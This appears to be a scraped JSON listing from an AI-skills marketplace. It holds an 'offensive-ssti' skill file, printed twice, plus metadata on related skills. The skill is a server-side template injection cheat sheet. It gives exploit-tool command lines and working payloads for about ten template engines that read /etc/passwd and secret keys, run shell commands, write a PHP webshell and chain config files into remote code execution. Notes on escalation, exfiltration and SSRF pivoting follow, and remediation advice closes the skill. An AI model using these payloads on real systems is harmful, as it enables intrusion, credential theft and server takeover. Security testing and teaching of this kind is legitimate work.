[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71FX6H6WWJDQ9YSEZHWYQCW":3,"skill-same:01M71FX6H6WWJDQ9YSEZHWYQCW":61},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":29,"linkOnly":30,"markdownContent":31,"markdownBody":32,"frontMatter":33,"refName":34,"commitSha":35,"skillDirectory":36,"forksCount":14,"repositoryHtmlUrl":37,"repositoryHomepageUrl":6,"ownerHtmlUrl":38,"ownerBlogUrl":6,"ownerDescription":39,"updatedAt":40,"install":41,"resources":54},"01M71FX6H6WWJDQ9YSEZHWYQCW","offensive-ssti",null,"| | CVE‑2024‑22195 | Jinja2 sandbox \u002F `xmlattr` filter bypass    | High     | 3.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-ssti\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28],"ssti","offensive","offensive ssti","sandbox","cybersecurity","cve","filter","jinja2","high","2024","2026-11-10 10:12:30",false,"---\nname: offensive-ssti\ndescription: \"| | CVE‑2024‑22195 | Jinja2 sandbox \u002F `xmlattr` filter bypass    | High     | 3.\"\ndomain: cybersecurity\n---\n\n|\n| CVE‑2024‑22195 | Jinja2 sandbox \u002F `xmlattr` filter bypass    | High     | 3.1.3                 |\n| CVE‑2024‑46507 | Yeti threat‑intel platform SSTI → RCE       | Critical | 1.6.2                 |\n| Various (2024) | Atlassian Confluence widgets, CrushFTP, HFS | Critical | See vendor advisories |\n\n### Automated Scanning & CI Integration\n\n- **nuclei** and **semgrep** include up‑to‑date SSTI rules; integrate them into pull‑request checks.\n- GitHub code‑scanning query pack “SSTI” (released 2024‑10) covers Python, PHP, Go.\n- Add a CI gate blocking merges on raw `render_template_string` or `.format()` inside templates.\n\n## Vulnerabilities\n\nCommon vulnerable patterns include:\n\n- Direct Rendering: `render_template_string(\"Hello \" + user_input)`\n- Unsafe Variable Usage: `{{ unsafe_variable }}` where `unsafe_variable` contains template code.\n- Framework-Specific Functions: Using functions known to be dangerous if processing user input (consult framework documentation).\n\n## Methodologies\n\n### Tools\n\n**Active Exploitation:**\n\n- **tplmap**: `python tplmap.py -u 'http:\u002F\u002Fwww.target.com\u002Fpage?name=John*'` ([https:\u002F\u002Fgithub.com\u002Fepinna\u002Ftplmap](https:\u002F\u002Fgithub.com\u002Fepinna\u002Ftplmap))\n- **SSTImap**: `python3 sstimap.py -u \"https:\u002F\u002Fexample.com\u002Fpage?name=John\" -s`\n- **TInjA**: `tinja url -u \"http:\u002F\u002Fexample.com\u002F?name=Kirlia\"`\n- **crithit** – SSTI‑centric fuzzer supporting Go\u002FTera, Blade, and Mako (2024)\n\n**Burp Suite Extensions:**\n\n- **Template Injector** – maintained fork replacing TemplateTester\n- **Server Side Template Injection** - Active scanner checks\n- **Param Miner** - Discover hidden parameters that might accept template input\n\n**Scanning & Detection:**\n\n- **nuclei** (`templates\u002Fssti-*`) – fast HTTP scanner with updated SSTI signatures (2024-2025)\n- **semgrep** with SSTI rulesets – Static analysis for template injection vulnerabilities\n- **GitHub CodeQL** \"SSTI\" query pack (2024-10) – Covers Python, PHP, Go\n\n**Framework-Specific:**\n\n- **Jinja2 Sandbox Escape Tools** - Testing Jinja2 sandboxed environments\n- **Node Template Tester** - EJS\u002FPug\u002FHandlebars\u002FNunjucks testing suite\n\n### Manual Testing & Exploitation Payloads\n\n- Generic\u002FPolyglot:\n  - `${{\u003C%[%'\"}}%\\.`\n  - `{{7*7}}` -> `49`\n  - `{{7*'7'}}` -> `7777777`\n  - `{{ '7'*7 }}` (Jinja2) -> `7777777`\n  - `@(1+2)` (.NET Razor) -> `3`\n- Jinja2 (Python \u002F Flask):\n  - Debug\u002FInfo: `{{config}}`, `{{self}}`, `{{settings.SECRET_KEY}}`, `{% debug %}` (Requires debug extension)\n  - List Subclasses: `{{ [].__class__.__base__.__subclasses__() }}` , `{{ ''.__class__.__mro__[1].__subclasses__() }}` (Index 1 or 2 depending on Python version)\n  - Recover `object` Class: `{{ ''.__class__.__mro__[1] }}` (or `[2]`), `{{ ''.__class__.__base__ }}`\n  - Find File Class: Iterate through subclasses list or guess index, e.g., `[40]` on some systems.\n  - Read File (via `__subclasses__`): `{{ ''.__class__.__mro__[1].__subclasses__()[40]('\u002Fetc\u002Fpasswd').read() }}` (Index varies)\n  - RCE (via `__subclasses__`): `{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('cat \u002Fetc\u002Fpasswd',shell=True,stdout=-1).communicate()[0].strip() }}` (Find `subprocess.Popen` index, e.g., `396`)\n  - RCE (Common - via `__globals__`): `{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}`\n  - RCE (via `request` object - `__globals__`): `{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}`\n  - RCE (via `config` object - `__globals__`): `{{ config.__class__.from_envvar.__globals__.__builtins__.__import__(\"os\").popen(\"ls\").read() }}`\n  - RCE (Alternative via `__globals__` search): `{% for x in ().__class__.__base__.__subclasses__() %}{% if \"warning\" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(\"ls\").read()}}{%endif%}{% endfor %}` (Search for a class with `_module` attribute)\n  - RCE (via `config` and `import_string`): `{{ config.__class__.from_envvar.__globals__.import_string(\"os\").popen(\"ls\").read() }}`\n  - RCE (via `request` and hex\u002Fbrackets bypass): `{{ request['application']['\\x5f\\x5fglobals\\x5f\\x5f']['\\x5f\\x5fbuiltins\\x5f\\x5f']['\\x5f\\x5fimport\\x5f\\x5f']('os')['popen']('id')['read']() }}`\n  - Write File (via `__subclasses__`): `{{ ''.__class__.__mro__[1].__subclasses__()[40]('\u002Ftmp\u002Fevil', 'w').write('hello') }}` (Index varies)\n  - Write Evil Config & RCE:\n    ```python\n    # Write config\n    {{ ''.__class__.__mro__[1].__subclasses__()[40]('\u002Ftmp\u002Fevilconfig.cfg', 'w').write('from subprocess import check_output\\n\\nRUNCMD = check_output\\n') }}\n    # Load config\n    {{ config.from_pyfile('\u002Ftmp\u002Fevilconfig.cfg') }}\n    # Execute\n    {{ config['RUNCMD']('id',shell=True) }}\n    ```\n  - Avoid HTML Encoding: `{{'\u003Cscript>alert(1)\u003C\u002Fscript>'|safe}}`\n  - Loop: `{%raw %}{% for c in [1,2,3] %}{{ c,c,c }}{% endfor %}{% endraw %}`\n- FreeMarker (Java):\n  - RCE: `\u003C#assign command=\"freemarker.template.utility.Execute\"?new()> ${ command(\"cat \u002Fetc\u002Fpasswd\") }`\n  - RCE: `${\"freemarker.template.utility.Execute\"?new()(\"id\")}`\n  - File Read: `${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('\u002Fetc\u002Fpasswd').toURL().openStream().readAllBytes()?join(\" \")}` (May require adjustments)\n  - Info: `${class.getResource(\"\").getPath()}`, `${T(java.lang.System).getenv()}`\n- Smarty (PHP):\n  - `{$smarty.version}`\n  - `{php}echo `id`;{\u002Fphp}` (If PHP tag enabled)\n  - `{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,\"\u003C?php passthru($_GET['cmd']); ?>\",self::clearConfig())}` (Write webshell)\n  - `{{7*7}}`, `{{7*'7'}}`\n  - `{{dump(app)}}` (Symfony)\n  - `\"{{'\u002Fetc\u002Fpasswd'|file_excerpt(1,30)}}\"@` (Twig)\n- Velocity (Java):\n  - `#set($str=$class.inspect(\"java.lang.String\").type)`\n  - `#set($ex=$class.inspect(\"java.lang.Runtime\").type.getRuntime().exec(\"whoami\"))`\n  - `$ex.waitFor()`\n  - `#set($out=$ex.getInputStream()) ... #foreach ... $str.valueOf($chr.toChars($out.read())) ... #end` (Read command output)\n- Ruby (ERB, Slim):\n  - `\u003C%= system(\"whoami\") %>`\n  - `\u003C%= Dir.entries('\u002F') %>`\n  - `\u003C%= File.open('\u002Fetc\u002Fpasswd').read %>`\n- Node.js (Various engines):\n  - `{{this.constructor.constructor('return process.mainModule.require(\"child_process\").execSync(\"id\")')()}}`\n  - Payloads often involve traversing prototypes (`this.__proto__`) to reach `constructor` and eventually `Function` or `require`. See PayloadAllTheThings \u002F Hacker Recipes for detailed Node examples.\n- ASP\u002F.NET (Razor, etc.):\n  - `@(1+2)` -> `3`\n  - `@System.Diagnostics.Process.Start(\"cmd.exe\",\"\u002Fc echo RCE > C:\u002FWindows\u002FTasks\u002Ftest.txt\");`\n  - `\u003C%= CreateObject(\"Wscript.Shell\").exec(\"cmd \u002Fc whoami\").StdOut.ReadAll() %>` (Classic ASP)\n- Perl (Template Toolkit):\n  - `[% PERL %] ... perl code ... [% END %]`\n  - `\u003C%= perl code %>` or `\u003C% perl code %>` (Depending on config)\n- Go (`text\u002Ftemplate`):\n  - Potentially dangerous if methods allowing command execution are exposed to the template: `{{ .System \"ls\" }}`\n  - `html\u002Ftemplate` is generally safer against XSS but might still leak info if not used carefully.\n\n### Comprehensive Payloads\n\n- [PayloadsAllTheThings - SSTI](https:\u002F\u002Fgithub.com\u002Fswisskyrepo\u002FPayloadsAllTheThings\u002Ftree\u002Fmaster\u002FServer%20Side%20Template%20Injection)\n- [PayloadBox - SSTI](https:\u002F\u002Fgithub.com\u002Fpayloadbox\u002Fssti-payloadsb\u002Fssti-server-side-template-injection\u002Findex.html)\n\n## Chaining and Escalation\n\nSSTI often leads directly to RCE, but can also be used for:\n\n- **RCE:** Primary goal, gain shell access.\n- **File Exfiltration:** Read sensitive files (`\u002Fetc\u002Fpasswd`, `web.config`, source code, credentials).\n- **Information Disclosure:** Dump environment variables, application configuration (`{{config}}`, `{{settings}}`), object properties, internal network paths.\n- **Internal Network Access:** Use RCE to pivot, scan internal networks, or access internal services.\n- **Privilege Escalation:** Combine RCE with local exploits if the web server runs with elevated privileges.\n- **Data Exfiltration:** Send internal data to an attacker-controlled server (e.g., via HTTP requests or DNS exfiltration from within the template code).\n- **SSRF pivot:** Some engines permit URL‑fetch filters (`{{''|fetch('http:\u002F\u002F...')}}`); leverage SSTI to query cloud‑metadata endpoints.\n\n## Remediation Recommendations\n\n- Never Render User Input Directly: The most critical step. Treat user input as data, not code.\n- Use Safe Templating Practices:\n  - Pass user data into templates using dedicated template variables (e.g., `render_template('page.html', user_data=user_input)`).\n  - Use logic-less templates if possible.\n- Sanitize and Validate: If rendering user input is unavoidable (e.g., CMS), rigorously sanitize it. Remove or escape all template syntax characters (`{`, `}`, `$`, `%`, `\u003C`, `>`, etc.). Use allow-lists for safe HTML if needed.\n- Use Sandboxed Environments: Configure the template engine's sandbox if available and effective for the specific engine. Be aware that sandboxes can often be bypassed.\n- Choose Safer Engines: Prefer engines designed for security, like Go's `html\u002Ftemplate` over `text\u002Ftemplate` for HTML output, as it provides context-aware auto-escaping.\n- Principle of Least Privilege: Run the web application process with minimal privileges.\n- Input Validation: Validate input against expected formats (e.g., email, number) before it reaches the template layer.\n- Patch management: track and apply security updates for template engines (see Recent CVEs).\n- Harden runtime: enable seccomp\u002FAppArmor or gVisor so that even a successful RCE has minimal kernel attack surface.\n- CI guardrails: block usage of dangerous APIs (e.g., `render_template_string`, `Template.compile`, `eval` filters) via linters\u002Fsemgrep; add approve‑list of safe helpers\n- For Node: disable `with` in EJS, avoid `compileDebug`, and run with `vm` sandbox only when fully locked down (no `require` or `Function` reachable)\n","|\n| CVE‑2024‑22195 | Jinja2 sandbox \u002F `xmlattr` filter bypass    | High     | 3.1.3                 |\n| CVE‑2024‑46507 | Yeti threat‑intel platform SSTI → RCE       | Critical | 1.6.2                 |\n| Various (2024) | Atlassian Confluence widgets, CrushFTP, HFS | Critical | See vendor advisories |\n\n### Automated Scanning & CI Integration\n\n- **nuclei** and **semgrep** include up‑to‑date SSTI rules; integrate them into pull‑request checks.\n- GitHub code‑scanning query pack “SSTI” (released 2024‑10) covers Python, PHP, Go.\n- Add a CI gate blocking merges on raw `render_template_string` or `.format()` inside templates.\n\n## Vulnerabilities\n\nCommon vulnerable patterns include:\n\n- Direct Rendering: `render_template_string(\"Hello \" + user_input)`\n- Unsafe Variable Usage: `{{ unsafe_variable }}` where `unsafe_variable` contains template code.\n- Framework-Specific Functions: Using functions known to be dangerous if processing user input (consult framework documentation).\n\n## Methodologies\n\n### Tools\n\n**Active Exploitation:**\n\n- **tplmap**: `python tplmap.py -u 'http:\u002F\u002Fwww.target.com\u002Fpage?name=John*'` ([https:\u002F\u002Fgithub.com\u002Fepinna\u002Ftplmap](https:\u002F\u002Fgithub.com\u002Fepinna\u002Ftplmap))\n- **SSTImap**: `python3 sstimap.py -u \"https:\u002F\u002Fexample.com\u002Fpage?name=John\" -s`\n- **TInjA**: `tinja url -u \"http:\u002F\u002Fexample.com\u002F?name=Kirlia\"`\n- **crithit** – SSTI‑centric fuzzer supporting Go\u002FTera, Blade, and Mako (2024)\n\n**Burp Suite Extensions:**\n\n- **Template Injector** – maintained fork replacing TemplateTester\n- **Server Side Template Injection** - Active scanner checks\n- **Param Miner** - Discover hidden parameters that might accept template input\n\n**Scanning & Detection:**\n\n- **nuclei** (`templates\u002Fssti-*`) – fast HTTP scanner with updated SSTI signatures (2024-2025)\n- **semgrep** with SSTI rulesets – Static analysis for template injection vulnerabilities\n- **GitHub CodeQL** \"SSTI\" query pack (2024-10) – Covers Python, PHP, Go\n\n**Framework-Specific:**\n\n- **Jinja2 Sandbox Escape Tools** - Testing Jinja2 sandboxed environments\n- **Node Template Tester** - EJS\u002FPug\u002FHandlebars\u002FNunjucks testing suite\n\n### Manual Testing & Exploitation Payloads\n\n- Generic\u002FPolyglot:\n  - `${{\u003C%[%'\"}}%\\.`\n  - `{{7*7}}` -> `49`\n  - `{{7*'7'}}` -> `7777777`\n  - `{{ '7'*7 }}` (Jinja2) -> `7777777`\n  - `@(1+2)` (.NET Razor) -> `3`\n- Jinja2 (Python \u002F Flask):\n  - Debug\u002FInfo: `{{config}}`, `{{self}}`, `{{settings.SECRET_KEY}}`, `{% debug %}` (Requires debug extension)\n  - List Subclasses: `{{ [].__class__.__base__.__subclasses__() }}` , `{{ ''.__class__.__mro__[1].__subclasses__() }}` (Index 1 or 2 depending on Python version)\n  - Recover `object` Class: `{{ ''.__class__.__mro__[1] }}` (or `[2]`), `{{ ''.__class__.__base__ }}`\n  - Find File Class: Iterate through subclasses list or guess index, e.g., `[40]` on some systems.\n  - Read File (via `__subclasses__`): `{{ ''.__class__.__mro__[1].__subclasses__()[40]('\u002Fetc\u002Fpasswd').read() }}` (Index varies)\n  - RCE (via `__subclasses__`): `{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('cat \u002Fetc\u002Fpasswd',shell=True,stdout=-1).communicate()[0].strip() }}` (Find `subprocess.Popen` index, e.g., `396`)\n  - RCE (Common - via `__globals__`): `{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}`\n  - RCE (via `request` object - `__globals__`): `{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}`\n  - RCE (via `config` object - `__globals__`): `{{ config.__class__.from_envvar.__globals__.__builtins__.__import__(\"os\").popen(\"ls\").read() }}`\n  - RCE (Alternative via `__globals__` search): `{% for x in ().__class__.__base__.__subclasses__() %}{% if \"warning\" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(\"ls\").read()}}{%endif%}{% endfor %}` (Search for a class with `_module` attribute)\n  - RCE (via `config` and `import_string`): `{{ config.__class__.from_envvar.__globals__.import_string(\"os\").popen(\"ls\").read() }}`\n  - RCE (via `request` and hex\u002Fbrackets bypass): `{{ request['application']['\\x5f\\x5fglobals\\x5f\\x5f']['\\x5f\\x5fbuiltins\\x5f\\x5f']['\\x5f\\x5fimport\\x5f\\x5f']('os')['popen']('id')['read']() }}`\n  - Write File (via `__subclasses__`): `{{ ''.__class__.__mro__[1].__subclasses__()[40]('\u002Ftmp\u002Fevil', 'w').write('hello') }}` (Index varies)\n  - Write Evil Config & RCE:\n    ```python\n    # Write config\n    {{ ''.__class__.__mro__[1].__subclasses__()[40]('\u002Ftmp\u002Fevilconfig.cfg', 'w').write('from subprocess import check_output\\n\\nRUNCMD = check_output\\n') }}\n    # Load config\n    {{ config.from_pyfile('\u002Ftmp\u002Fevilconfig.cfg') }}\n    # Execute\n    {{ config['RUNCMD']('id',shell=True) }}\n    ```\n  - Avoid HTML Encoding: `{{'\u003Cscript>alert(1)\u003C\u002Fscript>'|safe}}`\n  - Loop: `{%raw %}{% for c in [1,2,3] %}{{ c,c,c }}{% endfor %}{% endraw %}`\n- FreeMarker (Java):\n  - RCE: `\u003C#assign command=\"freemarker.template.utility.Execute\"?new()> ${ command(\"cat \u002Fetc\u002Fpasswd\") }`\n  - RCE: `${\"freemarker.template.utility.Execute\"?new()(\"id\")}`\n  - File Read: `${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('\u002Fetc\u002Fpasswd').toURL().openStream().readAllBytes()?join(\" \")}` (May require adjustments)\n  - Info: `${class.getResource(\"\").getPath()}`, `${T(java.lang.System).getenv()}`\n- Smarty (PHP):\n  - `{$smarty.version}`\n  - `{php}echo `id`;{\u002Fphp}` (If PHP tag enabled)\n  - `{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,\"\u003C?php passthru($_GET['cmd']); ?>\",self::clearConfig())}` (Write webshell)\n  - `{{7*7}}`, `{{7*'7'}}`\n  - `{{dump(app)}}` (Symfony)\n  - `\"{{'\u002Fetc\u002Fpasswd'|file_excerpt(1,30)}}\"@` (Twig)\n- Velocity (Java):\n  - `#set($str=$class.inspect(\"java.lang.String\").type)`\n  - `#set($ex=$class.inspect(\"java.lang.Runtime\").type.getRuntime().exec(\"whoami\"))`\n  - `$ex.waitFor()`\n  - `#set($out=$ex.getInputStream()) ... #foreach ... $str.valueOf($chr.toChars($out.read())) ... #end` (Read command output)\n- Ruby (ERB, Slim):\n  - `\u003C%= system(\"whoami\") %>`\n  - `\u003C%= Dir.entries('\u002F') %>`\n  - `\u003C%= File.open('\u002Fetc\u002Fpasswd').read %>`\n- Node.js (Various engines):\n  - `{{this.constructor.constructor('return process.mainModule.require(\"child_process\").execSync(\"id\")')()}}`\n  - Payloads often involve traversing prototypes (`this.__proto__`) to reach `constructor` and eventually `Function` or `require`. See PayloadAllTheThings \u002F Hacker Recipes for detailed Node examples.\n- ASP\u002F.NET (Razor, etc.):\n  - `@(1+2)` -> `3`\n  - `@System.Diagnostics.Process.Start(\"cmd.exe\",\"\u002Fc echo RCE > C:\u002FWindows\u002FTasks\u002Ftest.txt\");`\n  - `\u003C%= CreateObject(\"Wscript.Shell\").exec(\"cmd \u002Fc whoami\").StdOut.ReadAll() %>` (Classic ASP)\n- Perl (Template Toolkit):\n  - `[% PERL %] ... perl code ... [% END %]`\n  - `\u003C%= perl code %>` or `\u003C% perl code %>` (Depending on config)\n- Go (`text\u002Ftemplate`):\n  - Potentially dangerous if methods allowing command execution are exposed to the template: `{{ .System \"ls\" }}`\n  - `html\u002Ftemplate` is generally safer against XSS but might still leak info if not used carefully.\n\n### Comprehensive Payloads\n\n- [PayloadsAllTheThings - SSTI](https:\u002F\u002Fgithub.com\u002Fswisskyrepo\u002FPayloadsAllTheThings\u002Ftree\u002Fmaster\u002FServer%20Side%20Template%20Injection)\n- [PayloadBox - SSTI](https:\u002F\u002Fgithub.com\u002Fpayloadbox\u002Fssti-payloadsb\u002Fssti-server-side-template-injection\u002Findex.html)\n\n## Chaining and Escalation\n\nSSTI often leads directly to RCE, but can also be used for:\n\n- **RCE:** Primary goal, gain shell access.\n- **File Exfiltration:** Read sensitive files (`\u002Fetc\u002Fpasswd`, `web.config`, source code, credentials).\n- **Information Disclosure:** Dump environment variables, application configuration (`{{config}}`, `{{settings}}`), object properties, internal network paths.\n- **Internal Network Access:** Use RCE to pivot, scan internal networks, or access internal services.\n- **Privilege Escalation:** Combine RCE with local exploits if the web server runs with elevated privileges.\n- **Data Exfiltration:** Send internal data to an attacker-controlled server (e.g., via HTTP requests or DNS exfiltration from within the template code).\n- **SSRF pivot:** Some engines permit URL‑fetch filters (`{{''|fetch('http:\u002F\u002F...')}}`); leverage SSTI to query cloud‑metadata endpoints.\n\n## Remediation Recommendations\n\n- Never Render User Input Directly: The most critical step. Treat user input as data, not code.\n- Use Safe Templating Practices:\n  - Pass user data into templates using dedicated template variables (e.g., `render_template('page.html', user_data=user_input)`).\n  - Use logic-less templates if possible.\n- Sanitize and Validate: If rendering user input is unavoidable (e.g., CMS), rigorously sanitize it. Remove or escape all template syntax characters (`{`, `}`, `$`, `%`, `\u003C`, `>`, etc.). Use allow-lists for safe HTML if needed.\n- Use Sandboxed Environments: Configure the template engine's sandbox if available and effective for the specific engine. Be aware that sandboxes can often be bypassed.\n- Choose Safer Engines: Prefer engines designed for security, like Go's `html\u002Ftemplate` over `text\u002Ftemplate` for HTML output, as it provides context-aware auto-escaping.\n- Principle of Least Privilege: Run the web application process with minimal privileges.\n- Input Validation: Validate input against expected formats (e.g., email, number) before it reaches the template layer.\n- Patch management: track and apply security updates for template engines (see Recent CVEs).\n- Harden runtime: enable seccomp\u002FAppArmor or gVisor so that even a successful RCE has minimal kernel attack surface.\n- CI guardrails: block usage of dangerous APIs (e.g., `render_template_string`, `Template.compile`, `eval` filters) via linters\u002Fsemgrep; add approve‑list of safe helpers\n- For Node: disable `with` in EJS, avoid `compileDebug`, and run with `vm` sandbox only when fully locked down (no `require` or `Function` reachable)\n",{"name":5,"domain":23,"description":7},"main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Foffensive-ssti","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":42,"prompt":52,"zipAvailable":53},[43,46,49],{"tool":44,"command":45},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill offensive-ssti",{"tool":47,"command":48},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill offensive-ssti",{"tool":50,"command":51},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill offensive-ssti","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-ssti\u002FSKILL.md",true,[55],{"path":56,"resourceType":57,"resourceTypeDesc":58,"sizeBytes":59,"sourceHtmlUrl":60},"index.json","REFERENCE","参考文档",531,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-ssti\u002Findex.json",[62,72,97,120,142,164],{"skillNo":63,"name":64,"nameZh":6,"description":65,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":66,"licenseFileUrl":67,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":71},"01M73MDK3NT5XHNYTQ5P5172V9","devel-jb-algorithmic-art","- Embed algorithms inline in the HTML artifact (don't create separate .","Apache-2.0","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FSKILL.md",[],[],"2026-11-11 15:11:14",{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":29},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[79,80,81,82,83,84,85,23,86,87,88,89,90,91,92,93,94,95,96],"services","detect","services wmi persistence detect","wmi","persistence","process-forensics","process","forensics","t1546.003","event-subscription","subscription","repository","commandline-consumer","subscriptions","event","activescript","cm","de",{"skillNo":98,"name":99,"nameZh":6,"description":100,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":29},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[104,82,105,79,106,107,108,109,110,23,111,112,113,114,115,116,117,118,96,119],"exec","services wmi exec exploit","exploit","across","Bash","analysis","team","traffic","remote","crackmapexec","Impacket","lateral-movement","read","lateral movement","command","native",{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":29},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[127,128,129,130,131,132,133,134,135,136,116,96,137,138,109,139,108,23,140,141],"extract","registry artifact extract","registry","artifact","digital-forensics","sonnet","regripper","windows-registry","evidence-collection","software","uncover","analyze","collection","artifact-analysis","activity",{"skillNo":143,"name":144,"nameZh":6,"description":145,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":146,"categories":147,"keywords":148,"publishedAt":29},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[149,150,151,80,23,152,95,153,154,155,84,96,156,157,158,159,160,161,162,163],"processes","token","processes token impersonate detect","techniques","escalation","windows","attacks","via","impersonation","potato","exploitation","printspoofer","token-impersonation","seimpersonate","privilege-escalation",{"skillNo":165,"name":166,"nameZh":6,"description":167,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":168,"categories":169,"keywords":170,"publishedAt":29},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[171,149,172,80,173,174,85,96,156,175,176,177,109,84,23,152,178,95,179,154],"thread","injection","processes thread injection detect","thread-injection","nt-api","apc-injection","api","process-injection","memory"]